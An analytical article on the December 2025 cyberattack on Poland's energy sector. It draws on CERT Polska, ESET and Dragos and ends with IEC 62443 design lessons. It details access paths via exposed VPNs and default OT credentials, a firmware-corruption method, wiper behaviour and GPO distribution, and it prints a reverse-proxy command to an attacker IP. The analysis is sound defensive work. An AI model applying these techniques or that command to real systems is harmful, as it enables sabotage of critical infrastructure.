The December 2025 Cyberattack on Poland’s Energy Sector

A reconstruction of the December 2025 cyberattack on Poland’s energy sector, showing how distributed generation, remote access, weak OT hardening, and fragile recovery paths can become a scalable cyber-physical risk.

Introduction

CERT Polska opens the report¹ by stating that on 29 December 2025, during the morning and afternoon hours, coordinated attacks occurred in Poland’s cyberspace against numerous wind and solar farms, a private manufacturing company, and a CHP plant supplying heat to nearly half a million customers. The attacks are described as purely destructive in nature and comparable to deliberate acts of arson. CERT Polska also stresses that both information systems and physical industrial equipment were affected, which it characterizes as uncommon in public reporting to date. The events took place during low temperatures and snowstorms shortly before New Year’s Eve, which amplifies their strategic meaning even though mass service disruption did not materialize.

What makes the case analytically important is not that it caused a national blackout. It did not. The importance lies elsewhere. The campaign demonstrated that a threat actor could simultaneously target dozens of grid edge and industrial environments, achieve operationally significant effects, and do so mainly by exploiting weaknesses in architecture, identity, and equipment hardening. That raises the threshold question of what modern energy sabotage really requires. The Polish case suggests that for many distributed energy environments, the answer is not highly specialized malware but a strong understanding of how remote access, telecontrol, and operational support are actually implemented in the field.

The primary facts established by CERT Polska

The report establishes several facts with high confidence. First, the incidents across the renewable facilities, the CHP plant, and the manufacturing company were coordinated, and CERT Polska assessed that they were carried out by the same threat actor. Second, at least thirty wind and solar farms were affected. Third, the CHP plant was significant enough to supply heat to nearly half a million customers. Fourth, the campaign was destructive rather than financially motivated. Fifth, the renewable attacks caused loss of communication with DSOs and loss of remote control, but did not stop electricity generation or destabilize the Polish power system.

That last point deserves emphasis. In the renewable sector, the attack did not primarily target the physical process of generation itself. Instead, it targeted the control and communication layer at the grid connection point. This distinction matters because it explains how a cyberattack can be strategically meaningful without causing immediate nationwide supply failure. A distributed generation fleet can continue to produce electricity while simultaneously becoming harder to monitor, harder to command, and slower to restore when supervisory and telecontrol devices have been damaged.

The renewable site attack

Architecture of the attacked renewable sites

CERT Polska explains the renewable architecture in order to make the attack intelligible. Electricity from wind turbines and photovoltaic systems is collected and routed to a power substation called the grid connection point. There, voltage is stepped up to 110 kV for transfer to the distribution grid. The DSO oversees conditions at the grid connection point and uses the GCP for remote monitoring and supervisory control. These substations are usually unmanned and remotely managed, which means remote access and telecontrol are structurally central to operations.

The report identifies the key industrial components present at the GCP. These include the remote terminal unit for telecontrol and supervision, a local HMI, protection relays, serial device servers for IP to serial connectivity, primary and backup communications including a cellular router, and an integrated VPN concentrator and firewall. Poland’s DSOs typically require communication between the operator’s SCADA system and the GCP to pass through serial links using DNP3.0 or IEC 101. That choice helps reduce the chance that a compromised GCP could directly pivot into the DSO network, but it does not prevent sabotage of the GCP itself.

%%{init: {"theme": "neo", "look": "handDrawn"}}%%

flowchart TD
    A[Wind turbines / PV fields] --> B

    subgraph GCP["Grid Connection Point substation"]

        subgraph ELEC["Electrical path"]
            B[Plant collection point<br/>MV switchgear / collection bus]
            C[Step up transformer<br/>to 110 kV]
        end

        subgraph OT["OT supervision and control"]
            P[Plant / facility systems<br/>generation asset controllers]
            E[RTU<br/>telecontrol and supervision]
            F[Local HMI<br/>status visualization]
            G[Protection relays<br/>fault detection and isolation]
            H[Serial device servers<br/>RS232 / RS485 to IP]
        end

        subgraph COMM["Communications and remote access"]
            I[Primary / backup communication links<br/>including cellular router]
            J[Integrated VPN concentrator<br/>and firewall<br/>remote service access and segmentation]
        end
    end

    B --> C
    C --> D[Distribution grid / DSO]

    A -. telemetry / status / control .-> P
    B -. measurements / switching status .-> E
    B -. protection signals .-> G
    C -. electrical measurements .-> G

    P -. plant status / commands .-> E
    G -. protection status / events .-> E
    E --> F
    E <--> H
    H <--> I

    J -->|remote service access| P
    J -->|remote service access| E
    J -->|remote service access| F
    J -->|remote service access| G
    J -->|remote service access| H

    K[DSO SCADA / supervisory control] -->|DNP3.0 / IEC 101<br/>via communication and serial links| I

    classDef edge fill:#ffe6cc,stroke:#b45f06,stroke-width:1.5px;
    classDef ot fill:#d9ead3,stroke:#38761d,stroke-width:1.2px;
    classDef elec fill:#fff2cc,stroke:#bf9000,stroke-width:1.2px;
    classDef ext fill:#d0e0e3,stroke:#134f5c,stroke-width:1.2px;

    class I,J edge;
    class P,E,F,G,H ot;
    class B,C elec;
    class A,D,K ext;

Figure 1: Simplified architecture of the attacked renewable plant and its grid connection point, showing the coupling between the electrical path, the OT supervision and control layer, communications links, and remote access components described by CERT Polska.

This architectural description is more than background. It reveals the attacker’s logic. The GCP is both a physical interconnection point and a digital supervision point. Damaging the devices there degrades remote control, remote visibility, and restoration readiness, even if turbines and PV strings continue to operate. The campaign therefore targeted the operational nervous system of the site rather than the generation assets directly.

Initial access at the renewable sites

%%{init: {"theme": "neo", "look": "handDrawn"}}%%

flowchart TD
    A[Internet] --> B[FortiGate VPN / firewall<br/>VPN interface exposed to Internet]
    B --> C[Accounts defined in configuration<br/>authentication without MFA]
    C --> D[Administrative privileges<br/>on FortiGate]
    D --> E[Credential reuse across sites<br/>or FortiGate configuration change]
    E --> F[Access to all subnets<br/>or equivalent reachability]
    F --> G[RTUs]
    F --> H[HMIs]
    F --> I[Protection relays]
    F --> J[Moxa serial device servers]

    D --> K[Factory reset of FortiGate]
    K --> L[Hinders restoration<br/>erases traces]

    classDef attack fill:#f4cccc,stroke:#990000,stroke-width:1.5px;
    classDef impact fill:#fce5cd,stroke:#b45f06,stroke-width:1.3px;
    classDef target fill:#d9ead3,stroke:#38761d,stroke-width:1.2px;

    class A,B,C,D,E,F attack;
    class K,L impact;
    class G,H,I,J target;

Figure 2: Reconstructed access path into renewable sites, highlighting exposed FortiGate VPN access, authentication without MFA, administrative control of the perimeter device, access expansion across OT subnets, and destructive reset of the FortiGate to hinder recovery and erase traces.

In each affected renewable facility, a FortiGate appliance served as both VPN concentrator and firewall. CERT Polska states that the VPN interface was exposed to the internet and that authentication to configured accounts did not require multifactor authentication. The report also notes that reusing the same accounts and passwords across multiple facilities is common in the industry. This matters because once a threat actor compromises one valid account, scaling to other sites using the same identity becomes easier and cheaper.

CERT Polska adds that many of the analyzed facilities did use segregated VLAN subnets, but that the attacker had administrative privileges on the FortiGate. That administrative position likely allowed the attacker either to obtain credentials for a VPN account with access to all subnets or simply to modify the device configuration to achieve equivalent access. All analyzed FortiGate devices were factory reset on the day of the attack, apparently both to hinder restoration and to erase traces. The perimeter device was therefore not just a gateway. It became the attacker’s identity broker, policy override point, and evidence destruction point.

Automated destruction inside the renewable substations

On 29 December 2025, destructive actions were initiated against the devices reached inside the substations. CERT Polska reports that the activity appears to have been at least partially automated. Devices were damaged in ascending IP order, and when the attack failed at a given IP address within a network segment, it did not continue against subsequent addresses. This detail suggests procedural automation rather than fully manual device by device compromise. It also suggests the adversary had enough knowledge of site patterns to encode attack logic around address layout.

The report is explicit that damage to RTU controllers caused the loss of communication between the facility and the DSO and prevented remote control, but did not affect ongoing generation. That statement captures the essence of the renewable attack. The attacker succeeded against telecontrol and supervision, not against the physical conversion of energy itself.

Hitachi RTUs

Most of the affected farms used Hitachi RTU560 controllers, running firmware versions 12.6.6.0, 12.7.3.0, 13.1.1.0, and 13.5.2.0. These devices were configured with default credentials, including an account named Default, and exposed a web interface reachable from the GCP network and, with sufficient privileges, from the FortiGate. The attacker used that default account to log into the web interface and upload corrupted firmware. The firmware, in ELF format, had 240 bytes of 0xFF inserted at the program entry point, causing invalid instruction execution and a reboot loop. The modified firmware identified itself as version 13.5.3.0, which was not present in the affected environments, implying that the attacker likely sourced it externally.

CERT Polska further notes that a secure update feature with digital signature verification had been introduced in version 13.2.1 but required explicit activation, and none of the supporting devices had it enabled. Even then, the report notes that CVE 2024 2617 could bypass secure update until fixed in version 13.7.7. Hitachi Energy PSIRT independently confirmed the scenario. This combination of default credentials, reachable management surfaces, weak firmware integrity enforcement, and known update path weakness is one of the clearest examples in the report of how OT sabotage can be achieved without needing ICS protocol malware.

Mikronika RTUs, Relion relays, HMIs, and Moxa serial servers

At facilities using Mikronika RTUs, the attacker logged in via SSH using default root credentials and executed a destructive command intended to delete all files from the Linux based system. Mikronika later recovered logs showing network scanning and login attempts on 25 December 2025 at all facilities where the device was deployed. Hitachi Relion 650 v1.1 protection devices were attacked in two cases via default FTP access, which allowed the deletion of critical files, caused the devices to shut down, and prevented them from restarting. CERT Polska notes that if the devices had been deployed per the manufacturer’s recommendations, the default FTP account would have been automatically disabled.

Some facilities used Mikronika Syndis software on Windows 10 HMIs. These systems had a default local administrator password. The attacker accessed them through RDP, enabled administrative shares, created a firewall rule called Microsoft Update that opened TCP 445, and used PowerShell to make the system accessible over SMB for remote command execution. Reconnaissance followed with Impacket, and on the morning of 29 December a malicious file was written to C:\Source.exe and executed. CERT Polska states that this was the same malware later analyzed as DynoWiper in the CHP case. On HMIs where the local administrator account had different credentials, only unsuccessful password breaking attempts were observed and the HMI was not damaged.

Every affected facility also used Moxa NPort 6xxx serial device servers. These exposed a web interface and were configured with default login credentials. The attacker used those credentials to reset devices to factory settings, change passwords, and set unreachable IP addresses such as 127.0.0.1. The result was not only unavailability but intentional delay in restoration. That detail is significant because it shows that the attacker optimized not just for immediate denial of service but for recovery friction.

%%{init: {"theme": "neo", "look": "handDrawn"}}%%

flowchart TD
    A[Access from compromised FortiGate<br/>into GCP network] --> B[Hitachi RTU560]
    A --> C[Mikronika RTU]
    A --> D[Hitachi Relion 650 v1.1 relay]
    A --> E[Windows HMI]
    A --> F[Moxa NPort 6xxx]

    B --> B1[Default web account]
    B1 --> B2[Upload corrupted firmware]
    B2 --> B3[Reboot loop / RTU unavailable]

    C --> C1[Default root SSH credentials]
    C1 --> C2[Delete system files]
    C2 --> C3[RTU failure]

    D --> D1[Default FTP account]
    D1 --> D2[Delete essential files]
    D2 --> D3[Relay shutdown / no restart]

    E --> E1[Default local admin password]
    E1 --> E2[RDP access]
    E2 --> E3[Enable admin shares<br/>open TCP 445<br/>SMB based remote execution]
    E3 --> E4[DynoWiper execution]

    F --> F1[Default web credentials]
    F1 --> F2[Factory reset]
    F2 --> F3[Password change + invalid IP]
    F3 --> F4[Serial gateway unavailable]

    B3 --> Z1[Loss of DSO communication]
    C3 --> Z1
    B3 --> Z2[Loss of remote control]
    C3 --> Z2
    F4 --> Z1
    F4 --> Z3[Restoration delayed]
    E4 --> Z4[HMI destroyed / operator visibility reduced]
    D3 --> Z5[Protection device unavailable]

    Z1 --> Y[Operational disruption while generation continues]
    Z2 --> Y
    Z3 --> Y
    Z4 --> Y
    Z5 --> Y

    classDef attack fill:#f4cccc,stroke:#990000,stroke-width:1.3px;
    classDef effect fill:#fce5cd,stroke:#b45f06,stroke-width:1.3px;
    classDef result fill:#d9ead3,stroke:#38761d,stroke-width:1.3px;

    class B1,B2,C1,C2,D1,D2,E1,E2,E3,E4,F1,F2,F3 attack;
    class B3,C3,D3,F4 effect;
    class Z1,Z2,Z3,Z4,Z5,Y result;

Figure 3: Device-level destructive actions within the grid connection point, showing how default credentials and exposed management interfaces enabled sabotage of RTUs, relays, HMIs, and serial device servers.

The CHP plant attack

The attack on one of Poland’s CHP plants had a different tempo and a broader enterprise dimension. CERT Polska states that the attack’s objective was the irreversible destruction of data stored on devices within the internal network through execution of a wiper. The destructive phase was preceded by a long term infiltration, theft of sensitive information, compromise of privileged Active Directory accounts, and unrestricted lateral movement. The wiper was distributed through Group Policy Objects, but an EDR solution detected and blocked the malicious activity. CERT Polska notes that suspicious activity had been visible for months before the attempted wiper deployment.

Between March and July 2025, the attacker conducted reconnaissance, unauthorized data access, and credential theft. CERT Polska traces early activity to RDP logons from an address assigned to a FortiGate interface on a jump host, then onward movement to other systems including the domain controller. The attacker captured screenshots with nircmd, executed commands via PsExec, and generated outlog.txt files that included process lists, network connections, routing tables, ARP cache entries, and user directory contents. The report also notes that many of the systems accessed via SMB had scada in their names, implying a specific focus on industrial automation assets.

Privilege escalation followed. CERT Polska describes a Base64 encoded ZIP archive being decoded with certutil, after which EDR detected a likely LSASS memory theft attempt. The attacker also used Rubeus to create a Diamond Ticket and later dumped the Active Directory database from ntds.dit after creating shadow copies. These are classic Windows domain compromise techniques, but here they are embedded in a campaign that also had an OT reconnaissance dimension.

Late 2025 activity in the CHP environment

When activity resumed in late 2025, the attacker repeatedly connected to the FortiGate SSL VPN portal using multiple accounts defined in configuration, again without two factor authentication. CERT Polska says the attacker used Tor nodes as well as Polish and foreign IP addresses associated with compromised infrastructure. After authenticating, the attacker used FortiGate bookmark functionality to RDP into jump hosts. Some bookmark definitions contained statically configured target credentials, so the attacker could use the SSL VPN portal to reach internal systems without supplying extra local or domain credentials. That is a severe design failure because it turns the perimeter device into a credential relay into the internal network.

The attacker also used a reverse SOCKS proxy, rsocx, under filenames such as r.exe and rsocx.exe, with the command r.exe -r 31.172.71[.]5:8008. Reconnaissance included built in tools such as nslookup and ping, as well as Advanced Port Scanner and Advanced IP Scanner. Microsoft Edge in private mode was used to access internal services and third party resources, including Dropbox and Pastebin. These details matter because they show a patient operator using both living off the land techniques and public tooling rather than relying exclusively on bespoke implants.

CERT Polska also documents theft of LSASS memory dumps, copies of the SAM and SYSTEM hives, theft of ntds.dit, exfiltration attempts via PowerShell to 31.172.71[.]5:50443, and theft of FortiGate configuration files. The attacker modified the FortiGate perimeter configuration by adding a rule that allowed any protocol and any IP to a specified device while disabling traffic logging and making the rule name resemble an existing institutional label in the configuration. This is a particularly clear example of how the attack combined access, persistence, stealth reduction of auditability, and destructive preparation.

Wiper deployment and attempted server destruction at the CHP

On the morning of 29 December, the attacker accessed the SSL VPN portal, RDPed to a jump host, then reached a domain controller where an archive containing the wiper was created. The malware was placed on a network share and deployed through an additional GPO. CERT Polska reports that the file itself was not detected by antivirus, but its execution was blocked at runtime by the EDR solution through a canary mechanism. That prevented data overwriting on more than 100 machines where the executable had already been launched. A second, slightly modified attempt later the same day also failed.

The attacker also tried to destroy data directly on server disks. CERT Polska describes the use of Tiny Core Linux booted on a server via the KVM interface, followed by dd to overwrite portions of attached disks with random data. The attacker also attempted to modify RAID configuration through Intel Rapid Storage Technology. This part of the report is especially revealing because it shows the operator shifting from filesystem destruction to direct storage layer sabotage when needed.

The manufacturing company

CERT Polska reports that the attacker also attempted to disrupt a manufacturing company on 29 December 2025 in coordination with the energy attacks, though the target was opportunistic rather than linked to the other organizations. Initial access came through a Fortinet perimeter device whose past vulnerability and configuration theft had already led to public disclosure in a criminal forum. After gaining access, the attacker modified FortiGate configuration for persistence through built in scripting, creating weekly scripts to exfiltrate privileged credentials and modify security settings. Those scripts sent results to an attacker controlled Slack channel using FortiGate’s own notification capability.

To move internally, the attacker again used an SSL VPN tunnel and Impacket. Administrative access to a domain controller enabled deployment of a PowerShell based wiper through a GPO pulling the file from a network share. CERT Polska calls this malware LazyWiper. The report also states that the attacker later used on premises credentials to access Microsoft 365 services such as Exchange, Teams, and SharePoint and was particularly interested in files and emails related to OT modernization, SCADA systems, and technical work. That behavior indicates intelligence collection alongside destructive operations.

Malware and wiper deployment

DynoWiper

CERT Polska identified four closely related DynoWiper samples. Two are version A, represented by Source.exe and dynacom_update.exe, and two are version B samples compiled under the name schtask.exe. According to the report, version A includes three phases: initialization, data corruption, file deletion, and then system shutdown. Version B removes the shutdown phase and inserts a five second sleep between corruption and deletion. The malware uses the Mersenne Twister random number generator, recursively scans removable and fixed drives, excludes a set of directories such as system32, windows, program files, temp, and appdata, corrupts files by overwriting selected offsets with pseudorandom 16 byte sequences, then deletes files. It contains no persistence, no command and control, no shell command invocations, and no specific attempt to conceal itself from antivirus.

ESET’s follow on analysis² sharpens this picture. ESET states that DynoWiper was deployed to a shared domain path such as C:\inetpub\pub\ under names like schtask.exe, schtask2.exe, and a redacted update filename, and that the PDB path in some samples was C:\Users\vagrant\Documents\Visual Studio 2013\Projects\Source\Release\Source.pdb. ESET infers that the build environment may have involved Vagrant managed virtual machines and notes that operators likely modified and rebuilt the wiper after failed attempts during the same day. ESET also stresses that unlike Industroyer and Industroyer2, the observed DynoWiper samples targeted only the IT environment and contained no observed OT specific functionality.

ESET additionally identifies similarities between DynoWiper and the ZOV wiper, including directory exclusion logic and distinct handling for smaller versus larger files, and attributes DynoWiper to Sandworm with medium confidence. CERT Polska is more conservative. It states that DynoWiper has some similarities to Sandworm and SeashellBlizzard wiper type tools but that the similarity level is too low to attribute it to previously used wiper families. That difference is not a contradiction so much as a difference of analytic scope. ESET is focused on malware lineage and TTP overlap. CERT Polska is focused on incident level evidence and national attribution discipline.

LazyWiper

LazyWiper, used in the manufacturing sector company, is a PowerShell based wiper that overwrites files with pseudorandom 32 byte sequences at 16 byte intervals, corrupting roughly two thirds of each targeted file. CERT Polska lists a wide range of file extensions targeted, including archive formats, backups, certificates, Office documents, engineering files, SQL, images, PDFs, logs, and even .exe. The report notes that the C# function responsible for file overwriting differs stylistically from the rest of the script, contains implausible comments, and was likely generated by an LLM. It also contains a safeguard that terminates execution if it detects it is running on a domain controller.

This is a notable detail because it shows that destructive operations do not necessarily require polished, bespoke malware engineering. In this case, a crude PowerShell wiper with likely machine generated code was sufficient when paired with domain level access and GPO based distribution. The sophistication was in the access and the operating model, not necessarily in the code quality of the payload.

Wiper distribution

CERT Polska shows that in the renewable case DynoWiper was executed directly on the HMI. In the CHP and manufacturing cases, however, wipers were distributed through Active Directory using a PowerShell script executed on a domain controller. The script backed up the existing Default Domain Policy, modified it to create a new policy called Custom Domain Policy, created a scheduled task called Custom GPO Task running as NT AUTHORITY\SYSTEM, launched the malware from a network share, and then deleted the task. CERT Polska lists the SHA256 values for the distribution scripts and highlights distinctive markers such as the task filter GUID 79A87EBB-4DF6-4541-9530-CAD8BEE8A7AD.

This mechanism is important because it shows the relationship between enterprise compromise and destructive scale. Once a domain controller is controlled, wiper distribution can become a matter of policy manipulation rather than one host at a time execution. The operational burden of scale moves from the malware to the directory service.

Attribution

CERT Polska analyzed both infrastructure and malware. On the infrastructure side, it found use of compromised VPS servers and compromised Cisco routers, with additional related devices identified through commercial network flow monitoring. In consultation with threat intelligence companies, CERT Polska concluded that the reconstructed communications overlapped substantially with infrastructure publicly described by Cisco and the FBI and associated with the activity cluster known as Static Tundra, Berserk Bear, Ghost Blizzard, and Dragonfly. CERT Polska says this cluster has a documented interest in the energy sector and industrial devices and concludes that the infrastructure used for initial access, exfiltration, VPN tunneling for wiper deployment, and RAID sabotage overlaps with Static Tundra infrastructure.

At the same time, CERT Polska is careful about the malware evidence. It states that DynoWiper contains some similarities to Sandworm and SeashellBlizzard associated wipers, and that the PowerShell script used to run DynoWiper on workstations uses the same deployment technique as Sandworm linked tools like ArguePatch and RansomBoggs, but it does not conclude that Sandworm participated. LazyWiper is explicitly deemed unsuitable for attribution because it was likely largely generated by an LLM and lacks distinctive features.

ESET goes further on the malware side and attributes DynoWiper to Sandworm with medium confidence, citing close resemblance to TTPs seen earlier in 2025 in ZOV wiper incidents in Ukraine. ESET also notes Sandworm’s long history of attacking Polish organizations, including those in the energy sector, first covertly for espionage and later destructively, as in the Prestige incidents.³

Additional OT perspective from Dragos

The OT cybersecurity firm Dragos states that the 29 December 2025 event was a coordinated cyberattack against multiple sites connected to distributed energy generation in Poland and describes it as the first major coordinated attack on distributed energy resources at scale⁴. In Dragos’s framing, the affected systems were the communication and control assets that link grid operators to combined heat and power facilities and to wind and solar sites, rather than the transmission backbone itself. Dragos also states that adversaries gained access to operational technology systems critical to grid operations and disabled some equipment beyond repair at site level.

This OT specific framing is consistent with the CERT Polska report, which explains that the attack on renewable sites caused loss of communication between facilities and DSOs and prevented remote control, while not interrupting ongoing electricity generation or destabilizing the Polish power system. In other words, the attacker succeeded against the supervisory and telecontrol layer at the grid connection point without producing an immediate bulk power effect.

Dragos adds an important interpretive layer. It argues that the event is significant not because it caused outages, but because it demonstrated that distributed energy infrastructure is now a valid target for a sophisticated adversary. The brief stresses that DER environments are more numerous, depend heavily on remote connectivity, often receive less cybersecurity investment than centralized plants, and therefore present a broader and less manageable attack surface. It also notes that RTUs standardize how remote sites interface with control centers, which makes compromise repeatable across many sites if edge devices, vulnerabilities, or connectivity patterns are similar.

%%{init: {"theme": "neo", "look": "handDrawn"}}%%

flowchart TD
    A[Many DER sites] --> B[Common edge architecture<br/>VPNs firewalls gateways remote access]
    F[Remote operations model] --> B
    G[Standardized low cost deployments] --> B

    B --> C[Similar OT integration patterns<br/>RTUs HMIs relays serial gateways]
    C --> D[Repeatable compromise paths]
    D --> E[Coordinated multi site OT disruption]

    H[Limited OT visibility and logging] --> E
    I[Restoration depends on site by site<br/>manual field intervention] --> E

    E --> J[Loss of telemetry]
    E --> K[Loss of remote control]
    E --> L[Damage to communications and edge devices]
    E --> M[Slower restoration and possible escalation<br/>to broader operational impact]

    classDef der fill:#d0e0e3,stroke:#134f5c,stroke-width:1.2px;
    classDef risk fill:#f4cccc,stroke:#990000,stroke-width:1.3px;
    classDef out fill:#d9ead3,stroke:#38761d,stroke-width:1.2px;

    class A,F,G,H,I der;
    class B,C,D,E risk;
    class J,K,L,M out;

Figure 4: Systemic risk pattern in distributed energy resources, showing how repeated architectural choices, shared remote access models, and limited visibility can turn many small sites into a scalable target for coordinated OT disruption.

Dragos also clarifies an operational point that is easy to miss in superficial retellings of the incident. In electric systems, loss of communications does not usually cause immediate shutdown. A device that loses connectivity often continues operating locally, but it can no longer be monitored or controlled remotely. This is why the power stayed on even though key OT and communications equipment had been compromised. Dragos therefore treats the incident as a serious OT intrusion with limited immediate physical effect, not as a failed or trivial attack.

The brief further argues that the December 2025 operation represents both continuity and evolution relative to earlier ELECTRUM operations. Continuity lies in the use of destructive tooling, wipers, and attacks on communications infrastructure. Evolution lies in the shift from centralized control points, such as those targeted in Ukraine in 2015 and 2016, toward the distributed edge of the grid, meaning RTUs and communication systems spread across many smaller generation sites. Dragos assesses with moderate confidence that ELECTRUM was responsible, while also noting that the observed impact appears more opportunistic and less fully prepared than the earlier Ukraine operations.

This perspective sharpens the strategic meaning of the case. The Polish incident was not merely an enterprise compromise that happened to touch energy companies. It was an attack on the digital coordination fabric of distributed generation. The core lesson is that a modern grid does not need to lose its transmission backbone to suffer operationally relevant cyber sabotage. It is enough for an adversary to degrade visibility, telemetry, remote control, and restoration capability across enough distributed sites at the same time.

Why the case matters

The Polish incident matters because it compresses several assumptions about energy cybersecurity into a single, well documented case and shows that many of them are no longer defensible. It demonstrates that operationally significant disruption can be achieved without causing a national blackout, without deploying highly specialized ICS malware at every stage, and without compromising the transmission backbone. The attacker was able to produce meaningful effects by targeting the digital coordination layer of distributed generation: remote access paths, telecontrol devices, communications infrastructure, domain services, and management surfaces that were easier to reach than the physical process itself.

That is the first major lesson. In energy systems, the threshold for serious impact is lower than many discussions still imply. A plant or portfolio does not need to stop generating for the attack to matter. It is enough that operators lose visibility, lose remote control, and lose confidence in the integrity of the devices that connect generation assets to the wider grid. Once those functions are degraded across many sites at once, the attacker has already created an operational problem, a regulatory problem, and a strategic signal.

The second lesson concerns distributed energy itself. Wind, solar, and CHP assets connected through remote telemetry and supervisory infrastructure are often treated as too small, too fragmented, or too peripheral to be systemically attractive. The Polish case shows the opposite. Their very number, geographic spread, and dependence on remote access make them suitable targets for a coordinated campaign. What looks like decentralization from an electrical perspective can still be concentration from a cyber perspective if dozens of sites share the same perimeter technologies, the same access patterns, the same administrative shortcuts, and the same weakly governed OT components.

The third lesson is that the decisive weaknesses were largely architectural and operational, not exotic. Exposed VPNs, missing multifactor authentication, reused credentials, permissive firewall configurations, default accounts on OT devices, insecure management protocols, weak firmware integrity protections, and poor recovery design were enough to enable sabotage at scale. That matters because it means the case cannot be dismissed as the product of rare zero days or uniquely sophisticated tooling. The uncomfortable implication is that similar outcomes are plausible anywhere comparable patterns exist.

Finally, the incident matters because it marks a strategic shift in how energy disruption can be pursued. Previous landmark grid attacks were associated with centralized control points and more obvious attempts to produce immediate outage effects. Poland shows a different model: attack the distributed edge, degrade the communications and supervision fabric, damage what is reachable, and impose operational stress without necessarily crossing the threshold into catastrophic national disruption. That model is more scalable, more deniable, and in some contexts politically more usable.

What Poland exposed, then, was not just a successful campaign against a set of organizations. It exposed a structural reality of modern power systems: as generation becomes more distributed, cyber fragility can also become more distributed, and if that fragility is not governed deliberately, it can accumulate quietly across many small sites until it becomes strategically significant.

Personal considerations: why this case matters to me in the Italian context

Why the Polish case does not feel remote

What makes the Polish case especially relevant to me is that I do not read it as a remote anomaly. I see the same structural pattern in Italy, even if the geopolitical position, the regulatory environment, and the generation mix are not identical. The common pattern is not a specific threat actor or a specific device model. It is the combination of distributed sites, heavy dependence on remote access, edge devices that concentrate trust and reachability, heterogeneous OT components with uneven hardening, and organizational fragmentation between owners, EPCs, integrators, vendors, and O&M providers.

This is exactly the environment in which a large share of today’s renewable and hybrid energy systems is being designed and deployed. A modern plant is no longer just an electrical installation that happens to contain some digital components. It is, in substance, a distributed cyber physical operating system whose physical assets are coordinated, supervised, updated, dispatched, diagnosed, and sometimes even commercially optimized through remote digital relationships. The plant’s true attack surface therefore does not coincide with the visible field equipment taken one by one. It is not just the inverter, or the turbine, or the RTU, or the firewall considered in isolation. It is the entire graph of trust, access, delegation, and dependency that binds those components to remote operators, O&M teams, vendor support channels, dispatch and telecontrol interfaces, aggregators, cloud platforms, market systems, data concentrators, and third party maintenance paths.

That is the crucial shift in perspective. The plant is no longer only what is physically installed inside the fence. It is also the extended digital ecosystem that is allowed to observe it, manage it, patch it, configure it, optimize it, and sometimes override it. Every one of those relationships is operationally useful, but every one of them is also a potential attack path, a privilege boundary, or a latent failure mode. Once this is understood, the Polish incident stops looking like an outlier produced by unusual circumstances and starts looking like a highly legible warning. It becomes recognizable as the kind of event that can emerge wherever distributed assets are connected faster than the surrounding architecture of trust is deliberately governed.

Why I use enterprise architecture and IEC 62443 at design time

This is also why I do not treat enterprise architecture and IEC 62443 as paperwork to be added after engineering choices have already been made. I use them at design time because that is the most cost effective place to solve the problem. If segmentation, conduits, identity boundaries, remote access patterns, logging points, recovery paths, and administrative domains are decided only after procurement and deployment, the organization pays twice: first for a fast but fragile implementation, and then again for compensating controls, redesign, and operational friction. By contrast, when these choices are made in the architecture phase, security becomes a property of the system shape rather than a collection of late exceptions.

That distinction matters economically as much as technically. A defensible architecture is not necessarily a more expensive architecture. Very often it is simply a more explicit one. The cost effective move is to define from the beginning which functions belong in which zones, which communications are actually required, which identities are allowed to traverse which boundaries, how vendor access is brokered, what must be logged outside the local device, and what recovery baseline must exist if a field component is bricked or reset. The Polish incident shows what happens when those questions are left implicit: the attacker discovers the real architecture before the owner has fully governed it.

From this perspective, IEC 62443 is useful not because it is fashionable or because it can be cited in a checklist, but because it provides a disciplined way to convert these problems into design decisions. Zones and conduits force explicit trust boundaries. The foundational requirements force discipline around identification and authentication, restricted data flow, system integrity, and timely response to events. In practical terms, that means remote access cannot simply terminate somewhere in OT; management interfaces cannot remain reachable by convenience; default credentials and legacy services cannot survive commissioning; and restoration cannot depend on improvised field work after the incident has already destroyed the evidence.

IEC 62443 reading of the Polish failure modes

The Polish case can also be read as a compact demonstration of why IEC 62443 is useful at design time. The standard is not important here as a formal citation exercise. Its value is that it forces the architect to translate vague security concerns into concrete design properties: zones, conduits, restricted data flows, identity boundaries, system integrity, monitoring, recovery, and lifecycle governance.

The table below maps the main failure modes visible in the Polish incident to the corresponding IEC 62443 design logic. The purpose is not to claim that formal compliance alone would have prevented the attack. It is more precise to say that an architecture genuinely designed according to IEC 62443 principles would have removed or weakened several of the attacker’s shortest paths to impact.

Failure mode visible in the Polish case	IEC 62443 design concept	Practical architectural implication
Internet exposed VPN became the entry point into renewable site environments	Zones and conduits	Remote access should terminate in a controlled access zone, not directly into OT or mixed management networks.
FortiGate administrative control allowed the attacker to expand reach across segregated subnets	Restricted data flow and non-bypassable enforcement points	VLANs alone are not enough. Inter-zone traffic must be controlled by explicit policy enforcement points whose compromise does not silently collapse the whole zone model.
Missing multifactor authentication and reused credentials enabled scalable access across sites	Identification and authentication control	Remote access must use individual accounts, MFA, site-specific authorization, credential rotation, and ideally privileged access management for administrative paths.
Default credentials on RTUs, HMIs, relays, and serial device servers enabled direct device compromise	Account management and secure commissioning	Commissioning must include removal or disabling of default credentials, creation of accountable role-based access, and verification that vendor defaults are not left active.
OT management interfaces were reachable once the attacker gained network access	Least functionality and management plane isolation	Web, SSH, FTP, RDP, SMB, and firmware update interfaces should be reachable only from an engineering or maintenance zone, never from general remote access paths.
Legacy or unnecessary services such as FTP were available on protection devices	Least functionality	Services that are not operationally required must be disabled. If they are required for maintenance, they must be isolated, monitored, and opened only under controlled conditions.
Corrupted firmware was uploaded to RTUs	System integrity and controlled change	Firmware update paths must be authenticated, authorized, logged, and integrity checked. Where signed firmware is not available or not enabled, architecture must compensate by isolating the update interface.
Windows HMIs could be accessed and prepared for remote execution through RDP, SMB, and local administrator credentials	Host hardening and execution control	OT Windows hosts require hardening baselines, local administrator control, restricted inbound services, application allowlisting, and monitored administrative access.
Serial device servers were reset, reconfigured, and assigned unreachable IP addresses	Configuration management and recovery engineering	Field device configurations must be backed up, versioned, and restorable. Recovery should not depend on manual rediscovery of device state after destructive action.
Factory reset of FortiGate devices hindered recovery and erased local traces	Security monitoring and protected logging	Security logs must be exported to protected collectors outside the local device. A perimeter device must not be the only place where evidence of its own compromise exists.
Multi-site similarity made the attack repeatable across distributed assets	Security lifecycle and governance across the fleet	Standardization must not mean identical weakness. Fleet architecture should standardize secure patterns, not shared credentials, shared exposure, or repeated misconfigurations.
Limited OT visibility made it difficult to determine the full operational scope of adversary action	OT network visibility and timely response	Operators need visibility into OT traffic, commands, configuration changes, and remote access sessions before the incident occurs, because much of the evidence is transient.
Restoration depended on damaged or reconfigured field devices across multiple remote sites	Resilience and incident response readiness	Incident response must include golden configurations, tested restoration playbooks, spare device strategy, and prioritization rules for simultaneous multi-site recovery.

